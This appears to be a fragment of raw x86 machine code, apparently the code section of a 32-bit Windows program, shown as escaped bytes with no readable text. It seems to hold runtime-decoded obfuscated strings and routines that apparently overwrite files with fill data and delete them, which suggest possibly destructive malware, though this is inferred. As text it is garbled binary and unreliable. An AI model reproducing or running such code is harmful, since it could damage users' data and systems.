\x00\x00\x00\x8b\x15tQ@\x00h\x99q\xb0\xf8\xffRH\x89E\xfc\x83}\xfc\x00t/\x8b]\xfc\x8b\x15HQ@\x00\x8dE\xf4Pj@\x8dE\xf8P\x8dE\xfcPj\xff\xffR\\\x85\xc0u\x0f\xb9 \x00\x00\x00\x8d5\xc4\x1f@\x00\x8b\xfb\xf3\xa4_^[\x8b\xe5]\xc3U\x8b\xec\x83\xc4\xd8\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8\x00\x00\x00\x00\x8b\x15XQ@\x00j\x04j\x00j\x00\xffR\x14\x89E\xf8\x83}\xf8\x00tb\x8b\x15XQ@\x00h \x00\x01\x00\xffu\x08\xffu\xf8\xffR\x10\x89E\xf4\x83}\xf4\x00tE\x8b\x15HQ@\x00j\x1cj\x00\x8dE\xd8P\xffR$\x83\xc4\x0c\x8b\x15XQ@\x00\x8dE\xd8Pj\x01\xffu\xf4\xffR\x0c\x8b\x15XQ@\x00\xffu\xf4\xffR,\x8b\x15XQ@\x00\xffu\xf4\xffR \xc7E\xfc\x01\x00\x00\x00\x83}\xf8\x00t\x0c\x8b\x15XQ@\x00\xffu\xf8\xffR \x8bE\xfc\x8b\xe5]\xc2\x04\x00\x8d@\x00U\x8b\xec\x83\xc4\xd8\xc7E\xfc\x00\x00\x00\x00\x8bE\x08\x89E\xf0\xc7E\xf4\x00\x00\x00\x00\x8dM\xd8\xc7\x01\x18\x00\x00\x00\xc7A\x04\x00\x00\x00\x00\xc7A\x08\x00\x00\x00\x00\xc7A\x0c\x00\x00\x00\x00\xc7A\x10\x00\x00\x00\x00\xc7A\x14\x00\x00\x00\x00\x8b\x15HQ@\x00\x8dE\xf0P\x8dE\xd8Pj\x01\x8dE\xf8P\xffRL\x85\xc0u!\x8b\x15HQ@\x00j\x00\xffu\xf8\xffRT\x8b\x15HQ@\x00\xffu\xf8\xffRH\xc7E\xfc\x01\x00\x00\x00\x8bE\xfc\x8b\xe5]\xc2\x04\x00\x90U\x8b\xec\x83\xc4\x94SV\xc7E\xfc\x00\x00\x00\x00\xc7E\xf0\x00\x00\x00\x00\xc7E\xf4\xd4\x9f\x02;d\xa1\x18\x00\x00\x00\x8b@ \x89E\xf8\x8b\x15HQ@\x00jPj\x00\x8dE\x94P\xffR$\x83\xc4\x0c\x8b\x15pQ@\x00\x8dE\x94Pj\x00\x8dE\xf4P\xff\x12\x85\xc0\x0f\x85\x11\x01\x00\x00\x8b\x15pQ@\x00j\x00j\x00j\x00j\x00\x8dE\x08Pj\x01\xffu\xf4\xffR\x04\x85\xc0\x0f\x85\xe3\x00\x00\x00\xc7E\xe8\x00\x00\x00\x00\xc7E\xe4\x00\x00\x00\x00\xc7E\xec\x01\x00\x00\x00\x8b\x15tQ@\x00h\x9c\x02\x00\x00\xff\x12\x89E\xf0\x83}\xf0\x00\x0f\x84\xb4\x00\x00\x00\x8b\x15pQ@\x00\x8dE\xe4P\xffu\xf0\x8dE\xecP\x8dE\xe8P\xffu\xf4\xffR\x08\x85\xc0u\x04\xeb5\xeb1=\xea\x00\x00\x00u(\x8bE\xe8\x89E\xeci\xc0\x9c\x02\x00\x00\x8b\x15tQ@\x00P\xffu\xf0\xffR\x04\x89E\xf0\x83}\xf0\x00u\x02\xeb\x08\xeb\xb0\xeb\x02\xeb\x02\xeb\xaa\x85\xc0uZ\x8b]\xe8\x85\xdbtS\x8bu\xf0\x8b\x86\x8c\x02\x00\x00=\xe8\x03\x00\x00t\x05\x83\xf8\x04u\x04\xeb<\xeb/\x83\xf8\x03u\x15\x8b\x15|Q@\x00\x8d\x86\x0c\x02\x00\x00P\xffR\x10\x01E\xfc\xeb\x15\x8bE\xf8;\x06t\x0e\x8b\x15|Q@\x00\xff6\xffR\x14\x01E\xfc\x81\xc6\x9c\x02\x00\x00K\x85\xdbu\xb0\x8b\x15pQ@\x00\xffu\xf4\xffR\x0c\x83}\xf0\x00t\x0c\x8b\x15tQ@\x00\xffu\xf0\xffR\x0c\x8bE\xfc^[\x8b\xe5]\xc2\x04\x00\x8d@\x00U\x8b\xec\x83\xc4\xf8SV3\xc0\x89E\xfc\x89E\xf8\x8b\x15tQ@\x00j\x00\xffu\x08\xffR\x08\x89E\xfc\x83}\xfc\x00u\x02\xebr\x8b\x15tQ@\x00j\x00\xffu\x08\xffR\x08\x89E\xf8\x83}\xf8\x00u\x02\xebY\xbb\x1a\x00\x00\x00\xbeA\x00\x00\x00\x8b\x15HQ@\x00j\\\xffu\xf8\xffR4\x83\xc4\x08\x83\xc0\x02f\x890\x83\xc0\x02f\x838\x00u\xf4\x8b\x15LQ@\x00j\x08\xffu\xf8\xffu\xfc\xffR \x85\xc0u\x02\xeb\x18\x8b\x15HQ@\x00\xffu\xf8\xffu\xfc\xffR0\x83\xc4\x08FK\x85\xdbu\xb1\x8bE\x0c\x8bM\xfc\x89\x08\x83}\xf8\x00t\x0c\x8b\x15tQ@\x00\xffu\xf8\xffR\x0c^[\x8b\xe5]\xc2\x08\x00\x8d@\x00U\x8b\xecSVW\x8bE\x0c\xb9\x08\x00\x00\x003\xd2\xf7\xf1\x8b\xd8\x8b\xf2\x8b}\x08\x8b\x15xQ@\x00\xffR\x0c\xab\x8b\xc2\xabK\x85\xdbu\xee\x85\xf6t\x0f\x8b\x15xQ@\x00\xffR\x0c\xaaN\x85\xf6u\xf1_^[]\xc2\x08\x00\x8d@\x00U\x8b\xec\x83\xc4\xccSVW3\xc0\x89E\xfc\x89E\xd83\xdb\x8d}\xcc\xabC\x83\xfb\x03u\xf9H\x89E\xf8\xc7E\xdc\x00\x00\x00\x00\xc7E\xe0\x00\x00\x00\x00\x8b\x15tQ@\x00\x8dE\xdcP\xffu\x08\xffR4\x83}\xdc\x00u\n\x83}\xe0\x00\x0f\x84T\x01\x00\x00\x8b\x15LQ@\x00j\x00h\x00\x00\x00\x80j\x03j\x00j\x03h\x00\x00\x00@\xffu\x08\xffR,\x89E\xf8\x83}\xf8\xffu!d\x83=4\x00\x00\x00 u\x12\x8b\x15|Q@\x00\xffu\x08\xffR\x0c\x85\xc0t\x02\xeb\xbd\xe9\x0c\x01\x00\x003\xdb\x8d}\xcc\xc7E\xec\x00\x00\x01\x00\xc7E\xf0\x00\x00\x00\x00\x8b\x15HQ@\x00j\x04h\x00\x10\x00\x00\x8dE\xecPj\x00\x8dE\xf0Pj\xff\xffR\x10\x85\xc0u\x06\x8bE\xf0\xab\xeb\x02\xeb1\x83\xfb\x01u\x11W\x83\xc8\xff\xb9\x00@\x00\x00\x8b\x7f\xfc\xf3\xab_\xeb\x15\x83\xfb\x02u\x10\x8b\x15|Q@\x00h\x00\x00\x01\x00\xffw\xfc\xff\x12C\x83\xfb\x03u\x993\xc0\x89E\xe4\x89E\xe8\x81m\xdc\x00\x00\x01\x00\x83]\xe0\x00y\x0c\x81E\xdc\x00\x00\x01\x00\x8b]\xdc\xeb\x05\xbb\x00\x00\x01\x00\xc7E\xf4\x03\x00\x00\x00\x8du\xcc\xad\x8b\xc8\x8b\x15LQ@\x00j\x00\x8dE\xecPSQ\xffu\xf8\xffR\x18\x85\xc0u\x02\xeb"\x8b\xc3\xf7\xd8\x83\xca\xff\x8b=LQ@\x00j\x01j\x00RP\xffu\xf8\xffW4\xffM\xf4\x83}\xf4\x00u\xc1\x81}\xec\x00\x00\x01\x00s\x02\xeb&\x81E\xe4\x00\x00\x01\x00\x83U\xe8\x00\x8b\x15LQ@\x00j\x00j\x00\xffu\xe8\xffu\xe4\xffu\xf8\xffR4\xe9h\xff\xff\xff3\xdb\x8du\xcc\xad\x85\xc0t"\x89E\xf0\xc7E\xec\x00\x00\x01\x00\x8b\x15HQ@\x00h\x00\x80\x00\x00\x8dE\xecP\x8dE\xf0Pj\xff\xffR\x14C\x83\xfb\x03u\xd3\x83}\xf8\xfft\x0c\x8b\x15HQ@\x00\xffu\xf8\xffRH\x8b\x15|Q@\x00\x8dE\xd8P\xffu\x08\xffR\x04\x8b\x15LQ@\x00\xffu\xd8\xffR0\x85\xc0t\x07\xc7E\xfc\x01\x00\x00\x00\x83}\xd8\x00t\x0c\x8b\x15tQ@\x00\xffu\xd8\xffR\x0c\x8bE\xfc_^[\x8b\xe5]\xc2\x04\x00U\x8b\xec\x8b\x15xQ@\x00\xffR\x10\x8b\x15HQ@\x00\xffu\x08j\x08\xffp\x18\xffR\x04]\xc2\x04\x00\x8d@\x00U\x8b\xec\x8b\x15xQ@\x00\xffR\x10\x8b\x15HQ@\x00\xffu\x0c\xffu\x08j\x08\xffp\x18\xffR\x08]\xc2\x08\x00U\x8b\xec\x83\xc4\xfc\xc7E\xfc\x00\x00\x00\x00\x8b\x15HQ@\x00\xffu\x08\xffR(\x83\xc4\x04\x85\xc0t.\x03E\x0c\x8d\x04E\x02\x00\x00\x00\x8b\x15tQ@\x00P\xff\x12\x89E\xfc\x83}\xfc\x00t\x12\x8b\x15HQ@\x00\xffu\x08\xffu\xfc\xffR0\x83\xc4\x08\x8bE\xfc\x8b\xe5]\xc2\x08\x00\x90U\x8b\xec\x8b\x15xQ@\x00\xffR\x10\x8b\x15HQ@\x00\xffu\x08j\x00\xffp\x18\xffR\x0c]\xc2\x04\x00\x8d@\x00U\x8b\xec\x81\xecX\x02\x00\x00\xc7E\xfc\x00\x00\x00\x00\x8b\x15LQ@\x00j\x00j\x00j\x00\x8d\x85\xa8\xfd\xff\xffPj\x00\xffu\x08\xff\x12\x89E\xf8\x83}\xf8\xfft#\x8b\x85\xc8\xfd\xff\xff\x8b\x95\xc4\xfd\xff\xff\x8bM\x0c\x89\x01\x89Q\x04\x8b\x15LQ@\x00\xffu\xf8\xffR\x08\x89E\xfc\x8bE\xfc\x8b\xe5]\xc2\x08\x00\x90U\x8b\xec\x81\xecP\x02\x00\x00S\xc7E\xfc\x00\x00\x00\x00\x83}\x08\x00\x0f\x84Q\x02\x00\x00\x8b\x15tQ@\x00\x8d\x85\xb0\xfd\xff\xffP\xffu\x08\xffR \x85\xc0\x0f\x846\x02\x00\x003\xc0\x89E\xf8\x89E\xf4\x89E\xf0\x89E\xec\x8b\x15hQ@\x00j\x00\xff\x12\x85\xc0\x0f\x85\x16\x02\x00\x00\x8dE\xc8\xc7\x00\x08G\xad.\xc7@\x04\x16\xc2,\xd5\xc7@\x08\x8c\xb3\xfd\xc4\xc7@\x0c\xd3\x15\x8c\'\x8b\x15xQ@\x00j\x04P\xffR\x14\x8dE\xb8\xc7\x00\tG\xad.\xc7@\x04\x16\xc2,\xd5\xc7@\x08\x8c\xb3\xfd\xc4\xc7@\x0c\xd3\x15\x8c\'\x8b\x15xQ@\x00j\x04P\xffR\x14\x8b\x15hQ@\x00\x8dE\xf8P\x8dE\xc8Pj\x01j\x00\x8dE\xb8P\xffR\x08\x85\xc0t\x05\xe9\x86\x01\x00\x00\x8b\x15HQ@\x00\x8d\x85\xb0\xfd\xff\xffP\xffR(\x83\xc4\x04\x8b\x15tQ@\x00\x8d\x04E\x10\x00\x00\x00P\xff\x12\x89E\xf4\x83}\xf4\x00u\x05\xe9U\x01\x00\x00\x8dE\xd8\xc7\x00g`\xb9\xc4\xc7@\x04j`\xad\xc4\xc7@\x08\x11`\xd2\xc4\xc7@\x0c\x04`\xd8\xc4\xc7@\x10X`\xfd\xc4\x8b\x15xQ@\x00j\x05P\xffR\x14\x8b\x15HQ@\x00\x8d\x85\xb0\xfd\xff\xffP\x8dE\xd8P\xffu\xf4\xffR<\x83\xc4\x0c\x8bU\xf8\x8b\x12j\x00\xffu\xf4\xffu\xf8\xffR\x10\x85\xc0t\x05\xe9\xf1\x00\x00\x00\x8d\x9d\xb0\xfd\xff\xff\xeb\x03\x83\xc3\x02f\x83;\x00u\xf7f3\xc0f\x83{\xfe,u\nf@f\x83\xf8\x02u\x02\xeb\x05\x83\xeb\x02\xeb\xea\x8b\x15HQ@\x00S\xffR(\x83\xc4\x04\x8b\x15tQ@\x00\x8d\x04E\x10\x00\x00\x00P\xff\x12\x89E\xf0\x83}\xf0\x00u\x05\xe9\x9c\x00\x00\x00\x8b\x15HQ@\x00S\x8dE\xd8P\xffu\xf0\xffR<\x83\xc4\x0c\x8b\x15lQ@\x00\xffu\xf0\xffu\xf4\xff\x12\x85\xc0t\x02\xebt\x8b\x15tQ@\x00h\x00\x08\x00\x00\xff\x12\x89E\xec\x83}\xec\x00u\x02\xeb\\\x8b\x15tQ@\x00\xffu\xec\xffu\xf8\xffR8\x85\xc0t\x0c\x8b\x15|Q@\x00\xffu\xec\xffR\x08\x8bU\xf8\x8b\x12h\x00\x04\x00\x00\xffu\xecj\x00\xffu\xf8\xffR8\x85\xc0t\x02\xeb"\x8b\x15tQ@\x00\xffu\xec\xffR0\x8bU\xf8\x8b\x12\xffu\xf8\xffR \x85\xc0u\x07\xc7E\xfc\x01\x00\x00\x00\x83}\xf8\x00t\x0b\x8bU\xf8\x8b\x12\xffu\xf8\xffR\x08\x8b\x15hQ@\x00\xffR\x04\x83}\xec\x00t\x0c\x8b\x15tQ@\x00\xffu\xec\xffR\x0c\x83}\xf0\x00t\x0c\x8b\x15tQ@\x00\xffu\xf0\xffR\x0c\x83}\xf4\x00t\x0c\x8b\x15tQ@\x00\xffu\xf4\xffR\x0c\x8bE\xfc[\x8b\xe5]\xc2\x04\x00U\x8b\xec\x83\xc4\xf4\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8\x00\x00\x00\x00\xc7E\xf4\x00\x00\x00\x00\x8b\x15xQ@\x00\xffR\x04\x8b\xf0\x8b\x15HQ@\x00V\xffR(\x83\xc4\x04\x8b\xd8\x8d[\x01\x8b\x15tQ@\x00\x8d\x04]\x06\x00\x00\x00P\xff\x12\x89E\xfc\x83}\xfc\x00u\x05\xe92\x01\x00\x00\x8b\x15LQ@\x00S\xffu\xfcV\xffR@\x8b\x15TQ@\x00\xffu\xfc\xff\x12\x8b\x15tQ@\x00\x8d\x04\x9d\x02\x00\x00\x00P\xff\x12\x89E\xf8\x83}\xf8\x00u\x05\xe9\xfb\x00\x00\x00\x8b}\xf8\xc7\x07\x04`\xbe\xc4\xc7G\x04\x0b`\xb9\xc4\xc7G\x08n`\xb1\xc4\xc7G\x0c\x0b`\xd2\xc4\xc7G\x10m`\xdd\xc4\xc7G\x14\x04`\xac\xc4\xc7G\x18\x0b`\xfd\xc4\x8b\x15xQ@\x00j\x07W\xffR\x14\x8b\x15HQ@\x00\xffu\xfc\xffu\xf8\xffR,\x83\xc4\x08\x8b\x15HQ@\x00\xffu\xf8\xffR(\x83\xc4\x04\x8d<G\xc7\x07\x0b`\xc3\xc4\xc7G\x04\x15`\xdd\xc4\xc7G\x08e`\xa8\xc4\xc7G\x0cg`\xfd\xc4\x8b\x15xQ@\x00j\x04W\xffR\x14\x8b\x15tQ@\x00h\x04\x01\x00\x00\xff\x12\x89E\xf4\x83}\xf4\x00u\x02\xebY\x8b}\xf4\x8b\x15xQ@\x00W\xff\x12\x8b\x15HQ@\x00W\xffR(\x83\xc4\x04\x8d<G\xc7\x07w`\x9e\xc4\xc7G\x04F`\x99\xc4\xc7G\x08\x05`\x98\xc4\xc7G\x0cS`\x98\xc4\x8b\x15xQ@\x00j\x04W\xffR\x14\x8b\x15PQ@\x00j\x00j\x00\xffu\xf8\xffu\xf4j\x00j\x00\xff\x12\x83}\xf8\x00t\x0c\x8b\x15tQ@\x00\xffu\xf8\xffR\x0c\x83}\xf4\x00t\x0c\x8b\x15tQ@\x00\xffu\xf4\xffR\x0c\x83}\xfc\x00t\x0c\x8b\x15tQ@\x00\xffu\xfc\xffR\x0c\x8b\xe5]\xc3\x8b\xffU\x8b\xec\x83\xc4\xf8S\xc7E\xfc\x00\x00\x00\x00\x8b\x15\\Q@\x00\x8dE\xf8Pj\x00j\x00j\x00j\x00j\x00\xff\x12\x85\xc0u&\x8b]\xf8\x8b\x15HQ@\x00\xffs\x1c\xffu\x08\xffR0\x83\xc4\x08\x8b\x15\\Q@\x00S\xffR\x04\xc7E\xfc\x01\x00\x00\x00\x8bE\xfc[\x8b\xe5]\xc2\x04\x00U\x8b\xec\x81\xec4\x03\x00\x00\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8\x00\x00\x00\x00\xc7E\xf4\x00\x00\x00\x00\xc7E\xf0\x00\x00\x00\x00\x8b\x15hQ@\x00j\x00\xff\x12\x85\xc0\x0f\x85\xe2\x03\x00\x00\x8d\x85\xe4\xfe\xff\xff\xc7\x00\xfb6\x7f9\xc7@\x04>\x9d3\xd5\xc7@\x08\x80\xa4\xff\xa4\xc7@\x0c\xa7\xfe\x88\x97\x8b\x15xQ@\x00j\x04P\xffR\x14\x8d\x85\xd4\xfe\xff\xff\xc7\x00\xfb\x17\xeb\xc4\xc7@\x04=\x9d3\xd5\xc7@\x08\x80\xa4\xff\xa4\xc7@\x0c\xa7\xfe\x88\x97\x8b\x15xQ@\x00j\x04P\xffR\x14\x8dE\x9c\xc7\x00g`\xb9\xc4\xc7@\x04j`\xad\xc4\xc7@\x08\x11`\xd2\xc4\xc7@\x0c\x04`\x8f\xc4\xc7@\x10D`\x92\xc4\xc7@\x14_`\xb9\xc4\xc7@\x18x`\xb8\xc4\xc7@\x1c+`\xfd\xc4\x8b\x15xQ@\x00j\x08P\xffR\x14\x8b\x15`Q@\x00\x8dE\xf8P\x8d\x85\xe4\xfe\xff\xffPj\x01j\x00j\x00\x8dE\x9cP\xff\x12\x85\xc0t\x05\xe9\xdf\x02\x00\x00\x8d\x85\xf4\xfe\xff\xff\xc7\x00O`\x98\xc4\xc7@\x04M`\x9c\xc4\xc7@\x08^`\x91\xc4\xc7@\x0c_`\xb3\xc4\xc7@\x10J`\x90\xc4\xc7@\x14B`\x93\xc4\xc7@\x18L`\xbe\xc4\xc7@\x1cD`\x93\xc4\xc7@ _`\x98\xc4\xc7@$S`\x89\xc4\xc7@(+`\xfd\xc4\x8b\x15xQ@\x00j\x0bP\xffR\x14\x8b\x15dQ@\x00\x8dE\xdcP\xff\x12\x8bU\xf8\x8b\x12\x8dE\xdcP\x8d\x85\xf4\xfe\xff\xffP\xffu\xf8\xffR<\x85\xc0t\x05\xe9V\x02\x00\x00\x8d\x85 \xff\xff\xff\xc7\x00g`\xb9\xc4\xc7@\x04j`\xad\xc4\xc7@\x08\x11`\xd2\xc4\xc7@\x0c\x04`\xbe\xc4\xc7@\x10e`\xc0\xc4\xc7@\x14{`\x92\xc4\xc7@\x18G`\x94\xc4\xc7@\x1cH`\x94\xc4\xc7@ N`\x8e\xc4\xc7@$\x07`\xbe\xc4\xc7@(e`\xc0\xc4\xc7@,x`\x84\xc4\xc7@0X`\x89\xc4\xc7@4N`\x90\xc4\xc7@8\x07`\xd8\xc4\xc7@<X`\xfd\xc4\x8b\x15xQ@\x00j\x10P\xffR\x14\x8b\x15HQ@\x00\xffu\xe4\x8d\x85 \xff\xff\xffP\x8d\x85\xcc\xfc\xff\xffP\xffR<\x83\xc4\x0c\x8b\x15`Q@\x00\x8dE\xf0P\x8d\x85\xd4\xfe\xff\xffPj\x01j\x00j\x00\x8d\x85\xcc\xfc\xff\xffP\xff\x12\x85\xc0t\x05\xe9\x8f\x01\x00\x00\x8b\x15`Q@\x00\x8dE\xf4P\xffu\xf0\xffR\x08\x85\xc0t\x05\xe9v\x01\x00\x00\x8dE\x84\xc7\x00O`\x94\xc4\xc7@\x04X`\x8d\xc4\xc7@\x08G`\x9c\xc4\xc7@\x0cR`\xb3\xc4\xc7@\x10J`\x90\xc4\xc7@\x14N`\xfd\xc4\x8b\x15xQ@\x00j\x06P\xffR\x14\x8b\x15dQ@\x00\x8dE\xbcP\xffR\x04\xc7E\xec\x00\x00\x00\x00\x8b\x15dQ@\x00\x8dE\xdcP\xffR\x04\x8b\x15dQ@\x00\x8dE\xccP\xffR\x04\x8b\x15`Q@\x00\x8dE\xecP\x8dE\xdcPj\x01\xffu\xf4\xffR\x0c\x85\xc0u\x06\x83}\xec\x00u\x05\xe9\xeb\x00\x00\x00\x8bU\xe4\x8b\x12\x8dE\xccP\x8dE\x84P\xffu\xe4\xffR<\x85\xc0t\x05\xe9\xcf\x00\x00\x00\x8b\x15HQ@\x00\xffu\xd4\xffu\x08\xffR8\x83\xc4\x08\x85\xc0\x0f\x85\xb0\x00\x00\x00\x83}\x0c\x00\x0f\x84\x83\x00\x00\x00\x8d\x8d`\xff\xff\xff\xc7\x01O`\x94\xc4\xc7A\x04X`\x89\xc4\xc7A\x08B`\x93\xc4\xc7A\x0cL`\x88\xc4\xc7A\x10B`\x8e\xc4\xc7A\x14C`\x98\xc4\xc7A\x18O`\xb3\xc4\xc7A\x1cJ`\x90\xc4\xc7A N`\xfd\xc4\x8b\x15xQ@\x00j\tQ\xffR\x14\x8bU\xe4\x8b\x12\x8dE\xbcPQ\xffu\xe4\xffR<\x85\xc0u\x1f\x8b\x15HQ@\x00\xffu\xc4\xffu\x0c\xffR0\x83\xc4\x08\x8b\x15dQ@\x00\x8dE\xbcP\xffR\x04\x8b\x15dQ@\x00\x8dE\xdcP\xffR\x04\x8b\x15dQ@\x00\x8dE\xccP\xffR\x04\xc7E\xfc\x01\x00\x00\x00\xeb\x05\xe9\xcf\xfe\xff\xff\x83}\xf4\x00t\x0c\x8b\x15`Q@\x00\xffu\xf4\xffR\x10\x83}\xf0\x00t\x0b\x8bU\xf0\x8b\x12\xffu\xf0\xffR\x08\x83}\xf8\x00t\x0b\x8bU\xf8\x8b\x12\xffu\xf8\xffR\x08\x8b\x15hQ@\x00\xffR\x04\x8bE\xfc\x8b\xe5]\xc2\x08\x00\x8b\xffU\x8b\xec\x81\xec`\x02\x00\x00SV\xc7E\xf4\x00\x00\x00\x00\xc7E\xf0\x00\x00\x00\x00\x8b\x15HQ@\x00\xffu\x08\xffR(\x83\xc4\x04\x85\xc0\x0f\x84\xce\x01\x00\x00\x8b\x15tQ@\x00\x8d\x04E\x06\x00\x00\x00P\xff\x12\x89E\xf4\x83}\xf4\x00\x0f\x84\x8d\x01\x00\x00\x8b\x15HQ@\x00\xffu\x08\xffu\xf4\xffR0\x83\xc4\x08\x8b\x15xQ@\x00\xffu\xf4\xffR\x08\xc7E\xf8*\x00\x00\x00\x8b\x15HQ@\x00\x8dE\xf8P\xffu\xf4\xffR,\x83\xc4\x08\x8b\x15LQ@\x00j\x00j\x00j\x00\x8d\x85\xa0\xfd\xff\xffPj\x00\xffu\xf4\xff\x12\x89E\xfc\x83}\xfc\xff\x0f\x84.\x01\x00\x00\x8d\x9d\xcc\xfd\xff\xff\x83;.\x0f\x84\xf8\x00\x00\x00\x81;.\x00.\x00\x0f\x84\xec\x00\x00\x00\x8b\x15HQ@\x00S\xffR(\x83\xc4\x04\x8b\xf0\x8b\x15HQ@\x00\xffu\xf4\xffR(\x83\xc4\x04\x03\xf0\x8b\x15tQ@\x00\x8d\x04u\x02\x00\x00\x00P\xff\x12\x89E\xf0\x83}\xf0\x00\x0f\x84\xaf\x00\x00\x00\x8b\x15HQ@\x00\xffu\xf4\xffu\xf0\xffR0\x83\xc4\x08\x8b\x15HQ@\x00j*\xffu\xf0\xffR4\x83\xc4\x08\x8d\x8d\xcc\xfd\xff\xff\x8b\x15HQ@\x00QP\xffR0\x83\xc4\x08\x8b\x15LQ@\x00\xffu\xf0\xffR\x10\xa9\x10\x00\x00\x00tF\x8b\x15LQ@\x00\xffu\xf0\xffR\x14\x85\xc0t\x02\xeb\x1fd\x81=4\x00\x00\x00\x91\x00\x00\x00u\x0e\x8b\x15tQ@\x00\xffu\xf0\xffR0\xeb\x02\xeb\x02\xeb\xcf\x8b\x15tQ@\x00\xffu\xf0\xffR\x0c\xc7E\xf0\x00\x00\x00\x00\xeb\x1f\x8b\x15|Q@\x00\xffu\xf0\xffR\x08\x8b\x15tQ@\x00\xffu\xf0\xffR\x0c\xc7E\xf0\x00\x00\x00\x00\x8b\x15LQ@\x00\x8d\x85\xa0\xfd\xff\xffP\xffu\xfc\xffR\x04\x85\xc0\x0f\x85\xde\xfe\xff\xff\x8b\x15LQ@\x00\xffu\xfc\xffR\x08\x83}\xf4\x00t\x0c\x8b\x15tQ@\x00\xffu\xf4\xffR\x0c\x83}\xf0\x00t\x0c\x8b\x15tQ@\x00\xffu\xf0\xffR\x0c^[\x8b\xe5]\xc2\x04\x00\x8b\xffU\x8b\xec3\xc9\x8b\x15tQ@\x00j\x14\xff\x12\x8b\xc8\x85\xc9tI\xc7\x01m`\x94\xc4\xc7A\x04G`\x98\xc4\x83}\x08\x00t#\xc7A\x08X`\xd3\xc4\xc7A\x0cS`\x90\xc4\xc7A\x10G`\xfd\xc4\x8b\x15xQ@\x00j\x05Q\xffR\x14\xeb\x13\xc7A\x08X`\xfd\xc4\x8b\x15xQ@\x00j\x03Q\xffR\x14\x8b\xc1]\xc2\x04\x003\xc9\x8b\x15tQ@\x00j\x18\xff\x12\x8b\xc8\x85\xc9t5\xc7\x01{`\x8f\xc4\xc7A\x04N`\x9b\xc4\xc7A\x08N`\x8f\xc4\xc7A\x0cN`\x93\xc4\xc7A\x10H`\x98\xc4\xc7A\x14X`\xfd\xc4\x8b\x15xQ@\x00j\x06Q\xffR\x14\x8b\xc1\xc3\x8b\xffU\x8b\xec\x83\xc4\xe8SVW3\xc0\x89E\xfc\x89E\xf8\x89E\xf4\x8b\x15tQ@\x00h\x00\x08\x00\x00\xff\x12\x89E\xf4\x83}\xf4\x00u\x05\xe9\x13\x01\x00\x00\x8bU\x08\x8b\x12h\x00\x04\x00\x00\xffu\xf4j\x01\xffu\x08\xffR8\x85\xc0t\x05\xe9\xf5\x00\x00\x00\x8b\x15tQ@\x00\xffR<\x8b\xd8\x85\xdbu\x05\xe9\xe1\x00\x00\x00\x8b\x15TQ@\x00S\xffu\xf4\xffR\x0c\x8b\x15tQ@\x00S\xffR\x0c\x8b\x15tQ@\x00j\x00\xffR@\x8b\xd8\x85\xdbu\x05\xe9\xb4\x00\x00\x00\x8b\x15TQ@\x00S\xffu\xf4\xffR\x0c\x8b\x15tQ@\x00S\xffR\x0c\x8b\x15tQ@\x00j\x01\xffR@\x8b\xd8\x85\xdbu\x05\xe9\x87\x00\x00\x00\x8b\x15TQ@\x00S\xffu\xf4\xffR\x0c\x8b\x15tQ@\x00S\xffR\x0c\x8b\x15tQ@\x00\x8dE\xf8P\xffu\xf4\xffRD\x8b\xd8\x85\xdbu\x02\xebX\x8dM\xe8\xc7\x01M\x12\x92\xa9\xc7A\x04{\x01\x89\xac\xc7A\x08\x16B\xfd\xc4\x8b\x15xQ@\x00j\x03Q\xffR\x14\x8b\x15HQ@\x00Q\xffu\xf8\xffR \x83\xc4\x08\x85\xc0u\x02\xeb\x1f\x8dp\n\x8b}\x0cf3\xc0\xac<"u\x03f3\xc0f\xabf\x85\xc0u\xf1\xc7E\xfc\x01\x00\x00\x00\x83}\xf8\x00t\x0c\x8b\x15tQ@\x00\xffu\xf8\xffR\x0c\x83}\xf4\x00t\x0c\x8b\x15tQ@\x00\xffu\xf4\xffR\x0c\x8bE\xfc_^[\x8b\xe5]\xc2\x08\x00\x8b\xffU\x8b\xec\x83\xc4\xf4SVW\xc7E\xf4\x00\x00\x00\x00\x8b\x15LQ@\x00j\x00h\x80\x00\x00\x00j\x03j\x00j\x01h\x00\x00\x00\x80\xffu\x08\xffR,\x89E\xfc\x83}\xfc\xfftY\x8b\x15LQ@\x00j\x00\xffu\xfc\xffR$\x8b\xd8\x85\xdbtE\x8b\x15tQ@\x00\x8dC\x01P\xff\x12\x89E\xf8\x83}\xf8\x00t0\x8b\x15LQ@\x00j\x00\x8dE\xf4PS\xffu\xf8\xffu\xfc\xffR(\x85\xc0t\n\x8bE\xf8\x8bM\x0c\x89\x01\xeb\x0c\x8b\x15tQ@\x00\xffu\xf8\xffR\x0c\x83}\xfc\xfft\x0c\x8b\x15HQ@\x00\xffu\xfc\xffRH\x8bE\xf4_^[\x8b\xe5]\xc2\x08\x00\x8b\xffU\x8b\xec\x81\xec8\x04\x00\x00VW3\xc0\x89E\xfc\xc7E\xf8 \x00\x00\x00\x8b\x15LQ@\x00\x8dE\xf8P\x8d\x85\xc8\xfe\xff\xffP\xffRD\x85\xc0\x0f\x84/\x02\x00\x00\x8b\x15tQ@\x00\x8d\x85\xc8\xfc\xff\xffP\xffR,\x85\xc0\x0f\x84\x17\x02\x00\x00\x8d\xb5\xc8\xfe\xff\xff\x8d\xbd\xc8\xfd\xff\xff\xb8\\\x00\\\x00\xabf\xadf\xabf\x85\xc0u\xf7\x83\xef\x02f\xb8.\x00f\xab\x8d\xb5\xc8\xfc\xff\xfff\xadf\xabf\x85\xc0u\xf7\x83\xef\x02\xb8\\\x00\x00\x00\xab\x8b\x15HQ@\x00\x8d\x85\xc8\xfd\xff\xffP\xffRD\x83\xc4\x04\x8dE\x80\xc7\x00\x0e`\x8e\xc4\xc7@\x04t`\xb4\xc4\xc7@\x08{`\xbe\xc4\xc7@\x0c\x0f`\xfd\xc4\x8b\x15xQ@\x00j\x04P\xffR\x14\x8b\x15XQ@\x00\x8dE\x90P\xff\x12\x8b\x15HQ@\x00\x8d\x85\xc8\xfd\xff\xffP\x8dE\x80P\x8d\x85\xc8\xfb\xff\xffP\xffR<\x83\xc4\x0c\x8b\x15XQ@\x00\x8d\x04E\x00\x00\x00\x00P\x8d\x85\xc8\xfb\xff\xffP\x8dE\x90P\xffR\x04\x8b\x15XQ@\x00\x8dE\x90P\xffR\x08\x8b\x15tQ@\x00j`\xff\x12\x89E\xfc\x83}\xfc\x00\x0f\x844\x01\x00\x00\x8d\x85\x08\xff\xff\xff\xc7\x00w`\xa1\xc4\xc7@\x04\x05`\xa1\xc4\xc7@\x08[`\x94\xc4\xc7@\x0c[`\x98\xc4\xc7@\x10w`\x86\xc4